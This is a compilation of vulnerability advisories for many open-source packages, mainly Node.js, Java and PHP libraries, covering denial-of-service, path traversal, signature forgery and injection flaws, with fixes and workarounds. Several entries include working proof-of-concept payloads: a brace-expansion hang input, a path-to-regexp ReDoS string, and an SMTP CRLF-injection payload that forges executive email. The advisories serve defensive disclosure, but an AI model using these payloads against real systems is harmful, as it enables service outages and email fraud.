Babel is a compiler for writing next generation JavaScript. From 7.12.0 to before 7.29.4 and 8.0.0-alpha.13, using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code. This vulnerability is fixed in 7.29.4 and 8.0.0-alpha.13.
Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.
Versions of the package cross-spawn before 6.0.6, from 7.0.0 and before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. The regular expression that is vulnerable to backtracking can be generated in the 0.1.x release of path-to-regexp. Upgrade to 0.1.12. This vulnerability exists because of an incomplete fix for CVE-2024-45296.
brace-expansion through 5.0.6 is vulnerable to denial of service. The expand() function exhibits exponential-time complexity in the number of consecutive non-expanding '{}' brace groups. An attacker who passes a crafted string to expand(), directly or transitively, can cause significant CPU consumption and event-loop blocking. The max option does not mitigate this, as it bounds the output size rather than the recursion work.
### Summary brace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process. In `expand_`, `post` is computed unconditionally at the top of the function, before the early-return branches that don't use it: ```js const post = m.post.length ? expand_(m.post, max, false) : ['']; // always recurses ... if (!isSequence && !isOptions) { if (m.post.match(/,(?!,).*\}/)) { str = m.pre + '{' + m.body + escClose + m.post; return expand_(str, max, true); // restart — `post` discarded } return [str]; } ``` For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but `expand_` has already recursed into post over the entire remaining tail, only to throw the result away. Each level therefore spawns two recursive expansions over essentially the same remaining work: `T(n) = 2·T(n−1) ⇒ O(2ⁿ)`. The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it. Measured on 5.0.6: | groups (n) | input bytes | time | |---|---|---| | 20 | 60 | 130 ms | | 24 | 72 | 1.9 s | | 26 | 78 | 7.8 s | | 30 (PoC) | 90 | ~2 min | ### Proof of concept ```js const { expand } = require('brace-expansion'); // 30 non-expanding groups, ~90 bytes — blocks for minutes: expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}'); ``` ### Impact Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process. ### Remediation Upgrade to a patched release. The fix: 1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential. 1. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack. Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up. If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
### Impact A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b`. ### Patches For users of 0.1, upgrade to `0.1.10`. All other users should upgrade to `8.0.0`. These versions add backtrack protection when a custom regex pattern is not provided: - [0.1.10](https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10) - [1.9.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0) - [3.3.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0) - [6.3.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0) They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability. Version [7.1.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0) can enable `strict: true` and get an error when the regular expression might be bad. Version [8.0.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0) removes the features that can cause a ReDoS. ### Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b` to `/:a-:b([^-/]+)`. If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster. ### Details Using `/:a-:b` will produce the regular expression `/^\/([^\/]+?)-([^\/]+?)\/?$/`. This can be exploited by a path such as `/a${'-a'.repeat(8_000)}/a`. [OWASP](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) has a good example of why this occurs, but the TL;DR is the `/a` at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the `:a-:b` on the repeated 8,000 `-a`. Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms. ### References * [OWASP](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) * [Detailed blog post](https://blakeembrey.com/posts/2024-09-web-redos/)
### Summary An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. ### Details The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. ### PoC A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. **1. Malicious Payload** The core of the exploit is the payload, where new SMTP commands are injected into a parameter. ```java // The legitimate recipient is followed by an injected email sequence String injected_recipient = "legit-recipient@example.com\r\n" + "MAIL FROM:<ceo@trusted-domain.com>\r\n" + "RCPT TO:<victim@anywhere.com>\r\n" + "DATA\r\n" + "From: ceo@trusted-domain.com\r\n" + "To: victim@anywhere.com\r\n" + "Subject: Urgent: Phishing Email\r\n" + "\r\n" + "This is a forged email that will pass authentication checks.\r\n" + ".\r\n" + "QUIT\r\n"; ``` **2. Triggering the Vulnerability** The vulnerability is triggered when this payload is used to create an SMTP request. ```java // The Netty SMTP codec will fail to sanitize this input SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); // When this request is sent to an SMTP server, the injected commands // will be executed, sending a forged email. channel.writeAndFlush(maliciousRequest); ``` **3. Full Reproduction Steps** A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server * **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c To run the full PoC: 1. **Set up a local SMTP server.** The easiest way is using MailHog: * On macOS: `brew install mailhog && mailhog` * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` 2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. 3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. ### Impact This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). The primary impacts are: * **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. * **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.
### Impact The regular expression that is vulnerable to backtracking can be generated in versions before 0.1.12 of `path-to-regexp`, originally reported in CVE-2024-45296 ### Patches Upgrade to 0.1.12. ### Workarounds Avoid using two parameters within a single path segment, when the separator is not `.` (e.g. no `/:a-:b`). Alternatively, you can define the regex used for both parameters and ensure they do not overlap to allow backtracking. ### References - https://github.com/advisories/GHSA-9wv6-86v2-598j - https://blakeembrey.com/posts/2024-09-web-redos/
The GNU Multiple Precision Arithmetic Library (GMP) interfaces for PHP through 7.1.4 allow attackers to cause a denial of service (memory consumption and application crash) via operations on long strings. NOTE: the vendor disputes this, stating "There is no security issue here, because GMP safely aborts in case of an OOM condition. The only attack vector here is denial of service. However, if you allow attacker-controlled, unbounded allocations you have a DoS vector regardless of GMP's OOM behavior.
An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A SIGSEGV occurs in left_adjust_char_head() during regular expression compilation. Invalid handling of reg->dmax in forward_search_range() could result in an invalid pointer dereference, normally as an immediate denial-of-service condition.
ext/standard/var.c in PHP 5.x through 7.1.24 on Windows allows attackers to cause a denial of service (NULL pointer dereference and application crash) because com and com_safearray_proxy return NULL in com_properties_get in ext/com_dotnet/com_handlers.c, as demonstrated by a serialize call on COM("WScript.Shell").
ext/standard/var_unserializer.c in PHP 5.x through 7.1.24 allows attackers to cause a denial of service (application crash) via an unserialize call for the com, dotnet, or variant class.
An issue was discovered in PHP before 7.1.27, 7.2.x before 7.2.16, and 7.3.x before 7.3.3. Due to the way rename() across filesystems is implemented, it is possible that file being renamed is briefly available with wrong permissions while the rename is ongoing, thus enabling unauthorized users to access the data.
An issue was discovered in the EXIF component in PHP before 7.1.27, 7.2.x before 7.2.16, and 7.3.x before 7.3.3. There is an uninitialized read in exif_process_IFD_in_MAKERNOTE because of mishandling the maker_note->offset relationship to value_len.
An issue was discovered in the EXIF component in PHP before 7.1.27, 7.2.x before 7.2.16, and 7.3.x before 7.3.3. There is an uninitialized read in exif_process_IFD_in_MAKERNOTE because of mishandling the data_len variable.
All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.
Versions of the package semver before 7.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Those using Woodstox to parse XML data may be vulnerable to Denial of Service attacks (DOS) if DTD support is enabled. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack.
An issue in the fetch() method in the BasicProfile class of org.ini4j through version v0.5.4 allows attackers to cause a Denial of Service (DoS) via unspecified vectors.
All versions of the package word-wrap are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression within the result variable.
In Reactor Netty HTTP Server, versions 1.1.x prior to 1.1.13 and versions 1.0.x prior to 1.0.39, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition. Specifically, an application is vulnerable if Reactor Netty HTTP Server built-in integration with Micrometer is enabled.
In Reactor Netty HTTP Server, versions 1.1.x prior to 1.1.13 and versions 1.0.x prior to 1.0.39, a malicious user can send a request using a specially crafted URL that can lead to a directory traversal attack. Specifically, an application is vulnerable if Reactor Netty HTTP Server is configured to serve static resources.
@adobe/css-tools versions 4.3.1 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS.
In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component.
It was discovered by Elastic engineering that when elasticsearch-certutil CLI tool is used with the csr option in order to create a new Certificate Signing Requests, the associated private key that is generated is stored on disk unencrypted even if the --pass parameter is passed in the command invocation.
Improper Restriction of XML External Entity Reference ('XXE') vulnerability in Apache XML Graphics FOP. This issue affects Apache XML Graphics FOP: 2.9. Users are recommended to upgrade to version 2.10, which fixes the issue.
Prior to versions 7.1.0, 6.1.2, and 5.3.4, the webpack-dev-middleware development middleware for devpack does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine. The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory `memfs` filesystem. If `writeToDisk` configuration option is set to `true`, the physical filesystem is used. The `getFilenameFromUrl` method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the `unsecaped` path suffix is appended to the `outputPath`. As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use `%2e` and `%2f` sequences to perform path traversal attack. Developers using `webpack-dev-server` or `webpack-dev-middleware` are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content. If the development server is listening on a public IP address (or `0.0.0.0`), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port). If the server allows access from third-party domains, an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files. Starting with fixed versions 7.1.0, 6.1.2, and 5.3.4, the URL is unescaped and normalized before any further processing.
An issue was discovered in ECCurve.java and ECCurve.cs in Bouncy Castle Java (BC Java) before 1.78, BC Java LTS before 2.73.6, BC-FJA before 1.0.2.5, and BC C# .Net before 2.3.1. Importing an EC certificate with crafted F2m parameters can lead to excessive CPU consumption during the evaluation of the curve parameters.
An issue was discovered in Bouncy Castle Java Cryptography APIs before 1.78. An Ed25519 verification code infinite loop can occur via a crafted signature and public key.
An issue was discovered in the Bouncy Castle Crypto Package For Java before BC TLS Java 1.0.19 (ships with BC Java 1.78, BC Java (LTS) 2.73.6) and before BC FIPS TLS Java 1.0.19. When endpoint identification is enabled in the BCJSSE and an SSL socket is created without an explicit hostname (as happens with HttpsURLConnection), hostname verification could be performed against a DNS-resolved IP address in some situations, opening up a possibility of DNS poisoning.
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Async <= 2.6.4 and <= 3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in autoinject function. NOTE: this is disputed by the supplier because there is no realistic threat model: regular expressions are not used with untrusted input.
The NPM package `braces`, versions prior to 3.0.3, fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib/parse.js,` if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and lead to a DoS. The bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (.). For users of 0.1, upgrade to 0.1.10. All other users should upgrade to 8.0.0.
body-parser is Node.js body parsing middleware. body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service. This issue is patched in 1.20.3.
Time-of-check Time-of-use (TOCTOU) race condition in pg_dump in PostgreSQL allows an object creator to execute arbitrary SQL functions as the user running pg_dump, which is often a superuser. The attack involves replacing another relation type with a view or foreign table. The attack requires waiting for pg_dump to start, but winning the race condition is trivial if the attacker retains an open transaction. Versions before PostgreSQL 16.4, 15.8, 14.13, 13.16, and 12.20 are affected.
Netty, an asynchronous, event-driven network application framework, has a vulnerability starting in version 4.1.91.Final and prior to version 4.1.118.Final. When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. Version 4.1.118.Final contains a patch. As workaround its possible to either disable the usage of the native SSLEngine or change the code manually.
A possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products. Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly.
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to 1.1.19, 2.1.5, 3.0.7, and 5.0.10, crafted brace patterns can exhaust the native stack in parseCommaParts because parseCommaParts recursively processes the remainder once per brace group and uses push.apply to pass every element of a very large comma-part array as a function argument. Patterns containing many comma-separated brace groups trigger the recursive path, while the large array triggers the argument-array path without deep recursion. These paths cause recursive and argument-array native stack exhaustion before max or maxLength can limit output, potentially terminating the Node.js process in a process-terminating denial of service. This issue is fixed in versions 1.1.19, 2.1.5, 3.0.7, and 5.0.10.
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to 1.1.20, 2.1.6, 3.0.8, and 5.0.11, deeply nested brace groups cause expand_() to recurse once per nesting level at comma-member and single-set expansion sites, exhausting the native stack before output limits can apply and potentially terminating the Node.js process. expand_ performs uncontrolled recursion for nested brace alternatives and single-part sets. deeply nested brace groups supplied as an untrusted pattern. expand_ is affected. expand is affected. Comma members is affected. Single set is affected. native stack exhaustion during nested sub-expansion. process-terminating denial of service. This issue is fixed in versions 1.1.20, 2.1.6, 3.0.8, and 5.0.11.
body-parser is body parsing middleware for Node.js and Express. In versions before 1.20.9 and in versions from 2.0.0 before 2.4.0, a single request can crash any application using body-parser with default options. When a request carries a Content-Encoding such as gzip, body-parser pipes it into a decompression stream and, after reading the body, leaves that stream with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No matching route is required because body parsing runs before routing, so any endpoint that parses a body is affected. The issue is fixed in body-parser 2.4.0 and 1.20.9, and users should upgrade to one of those versions or later. As a workaround, disable request-body inflation (set the body-parser inflate option to false) so encoded requests are rejected before any decompression stream is created.
brace-expansion through 5.0.7 is vulnerable to denial of service via memory exhaustion. The expand() function limits the number of results with a max option (default 100,000) but does not bound the length of each result string. By chaining multiple brace groups, an attacker keeps the result count under the limit while making each result progressively longer, so total memory scales with both count and string length until the process hits a fatal, uncatchable out-of-memory error. About 7.5 KB of input ('{a,b}'.repeat(1500)) crashes a default Node.js process. Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch / glob brace patterns - can be crashed by a small request. Fixed in 5.0.8 by adding a maxLength option (default 4,000,000) that bounds accumulated output and intermediate arrays.
MessagePack for Java is a serializer implementation for Java. A denial-of-service vulnerability exists in versions prior to 0.9.11 when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation. The vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems. Version 0.9.11 fixes the vulnerability.
Every uncached /avatar/:hash request spawns a goroutine that refreshes the Gravatar image. If the refresh sits in the 10-slot worker queue longer than three seconds, the handler times out and stops listening for the result, so that goroutine blocks forever trying to send on an unbuffered channel. Sustained traffic with random hashes keeps tripping this timeout, so goroutine count grows linearly, eventually exhausting memory and causing Grafana to crash on some systems.
Tempo queries with large limits can cause large memory allocations which can impact the availability of the service, depending on its deployment strategy. Mitigation can be done by setting max_result_limit in the search config, e.g. to 262144 (2^18). Alternatively, automatically restart the service.
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4, nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4 fix the issue.
A vulnerability in Grafana Tempo exposes the S3 SSE-C encryption key in plaintext through the /status/config endpoint, potentially allowing unauthorized users to obtain the key used to encrypt trace data stored in S3. Thanks to william_goodfellow for reporting this vulnerability.
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
Picomatch is a glob matcher written JavaScript. Versions prior to 4.0.4, 3.0.2, and 2.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include disabling extglob support for untrusted patterns by using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, and applying application-level request throttling and input validation for any endpoint that accepts glob patterns.
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used.
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, a Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Version 1.4.0 patches the issue.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, when a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, "n")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service. Version 4.7.9 fixes the issue. Some workarounds are available. Wrap compilation and rendering in `try/catch`. Validate template input before passing it to `compile()`; reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application. Use the pre-compilation workflow; compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.
Serialize JavaScript to a superset of JSON that includes regular expressions and functions. Prior to version 7.0.5, there is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. This issue has been patched in version 7.0.5.
Junrar is an open source java RAR archive library. Prior to version 7.5.10, a path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content into sibling directories when a crafted RAR archive is extracted. Version 7.5.10 fixes the issue.
The public dashboard query endpoint does not limit request body size before processing, allowing unauthenticated attackers to trigger excessive memory allocation by sending arbitrarily large JSON payloads. This can lead to denial of service through memory exhaustion. No valid dashboard access token or authentication is required to exploit this vulnerability.
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
